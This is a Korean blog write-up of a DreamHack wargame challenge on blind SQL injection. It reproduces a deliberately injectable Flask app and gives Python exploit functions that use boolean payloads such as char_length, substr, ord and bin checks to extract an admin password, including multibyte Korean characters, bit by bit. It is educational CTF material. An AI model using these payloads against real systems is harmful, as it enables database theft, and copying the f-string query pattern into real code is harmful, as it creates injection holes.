blind sql injection advanced

2024. 10. 23. 18:43·DreamHack/WEB

 

 

나는 많이 어려웠는데 왜 이리 잘하는 사람들이 많은 거야

 

 

 

 

 

 

 

 

 

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

 

uid를 검색하는 쿼리가 실행되는 걸 볼 수 있다.

 

(f"SELECT * FROM users WHERE uid='{uid}';")

 

 

이 부분을 이용해서 참/거짓을 따져야 한다.

 

그리고

 

init.sql 문제파일을 보면...

 

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;

 

 

uid, upw에 대한 정보가 나와있다.

 

uid는 admin , upw 은 flag 값이 담겨 있다.

 

한번 실험해 보자.

 

 

 

 

 

 

 

 

 

 

 

uid에 admin을 입력했더니

 

user "admin" exitsts. <-- "<uid>" 

이것을 참 값으로 설정하면 참/거짓의 유무를 파악할 수 있다.

 

키를 얻었으니 비밀번호 길이를 살펴보자.

 

 

 

 

 

 

def find_password_length():
    password_length = 0  # 비밀번호의 길이를 초기화
    while True:
        password_length += 1  # 비밀번호 길이를 1씩 증가시킴
        # SQL 인젝션 페이로드 생성: 비밀번호 길이가 현재 길이와 같은지 확인
        query = f"admin' and char_length(upw) = {password_length}-- -"
        # GET 요청 보내기
        r = get(f"{host}/?uid={query}")
        # 응답 텍스트에 "exists"가 포함되어 있으면 길이를 찾음
        if "exists" in r.text:
            break  # 조건을 만족하면 루프 종료
    print(f"password length: {password_length}")  # 발견된 비밀번호 길이 출력
    return password_length  # 비밀번호 길이 반환

 

삽입공격을 시도한 구문은 admin' and char_length(upw) = {password_length(반복)}-- -"이다.

 

and 연산을 이용해 admin으로 충족시켜 뒤에 있는 char_length(upw) 만족시켜 길이를 파악하는 것이다.

 

 

길이는 13 이 나와있다.

 

여기서 구문을 'char_length'가 아닌 'length'로 바꾸면 답은 다르게 나온다.

 

 

 

 

 

27이 출력되는 걸 볼 수 있다.

 

char_length와 length의 차이점은 문자가 몇 개 있는지 알려주는 것(char_length) , 문자열의 Byte 길이 (length)이다.

 

힌트대로 한글이 섞여있어 문자의 개수와 byte 가 다른 것이다.

 

그렇다면 일반적으로 문자열을 추출하면 혼란스러우니 특정 문자를 정해 순서대로 ASCII 값을 비트 표현으로 변환한 후

 

비트 길이를 출력해야 한다.

 

 

 

 

 

def find_bit_length(password_length):
    password = ""  # 비밀번호 문자열 초기화
    for i in range(1, password_length + 1):
        bit_length = 0  # 현재 문자의 비트 길이를 초기화
        while True:
            bit_length += 1  # 비트 길이를 1씩 증가시킴
            # SQL 인젝션 페이로드 생성: 현재 위치의 문자의 비트 길이가 현재 bit_length와 같은지 확인
            query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
            # GET 요청 보내기
            r = get(f"{host}/?uid={query}")
            # 응답 텍스트에 "exists"가 포함되어 있으면 비트 길이를 찾음
            if "exists" in r.text:
                break  # 조건을 만족하면 루프 종료
        print(f"character {i}'s bit length: {bit_length}")  # 발견된 문자 i의 비트 길이 출력

 

 

처음에 한 char_length 값 토대로 각 문자마다 비트로 변환시킨다.

 

substr로 문자열 자체를 보는 게 아닌 문자열 문자 하나하나 마다 지정해 준다.

ord를 통해서 문자는 ASCII 값으로 변환시킨다.

bin을 이용해서 ASCII 값을 이진수로 바꾼다.

length로 이진수 값이 된 길이를 계산한다.

 

실행해 보면..

 

 

 

각 문자마다 이진수 된 값들이 나온다.

 

복호화를 시켜주자..

 

이진수 형태로 변형된 문자들을 먼저 정수로 변환시켜주자

 

int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

 

 

1.int(bits,2) 이진수 형태로 저장된 bits 문자열을 10진수 정수로 변환

2.int.to_bytes(int(bits,2), (bit_length + 7) // 8 --> 변환된 정수를 바이트 배열로 변환시킨다.

3.decode("utf-8") --> byte 배열을 UTF-8 문자열로 디코딩 

 

이렇게 하면 password 가 복원이 된다.

 

 

 

 

 

 

 

 

 

 

 

진짜 진짜 힘들고 오래 걸렸는데 항상 풀이 쓰면 왜 이리 쉬워 보이는 건지 모르겠다

'DreamHack > WEB' 카테고리의 다른 글

php7cmp4re  (0) 2024.11.05
sql injection bypass WAF  (0) 2024.10.29
command-injection-chatgpt  (0) 2024.10.23
error based sql injection  (0) 2024.10.18
simple_sqli_chatgpt  (0) 2024.10.17
'DreamHack/WEB' 카테고리의 다른 글
  • php7cmp4re
  • sql injection bypass WAF
  • command-injection-chatgpt
  • error based sql injection
G_OM
G_OM
최대한 설명 열심히 하려고 합니다. 궁금한 거 있으면 언제든지 물어보셔도 좋습니다.
  • G_OM
    끄적끄적
    G_OM
  • 전체
    오늘
    어제
    • 분류 전체보기 (160)
      • 모의해킹 (20)
      • CTF (22)
      • Wargame (69)
        • Linux_bandit (33)
        • Webhacking.kr (36)
      • DreamHack (52)
        • WEB (14)
        • Reverising (9)
        • System (0)
      • Mobile_security (14)
        • Drozer_Android (4)
        • Frida_Android (1)
        • IOS (2)
        • tool (1)
      • 정보보안기사 (2)
      • IT? (3)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

    • Github
  • hELLO· Designed By정상우.v4.10.0
G_OM
blind sql injection advanced
상단으로

티스토리툴바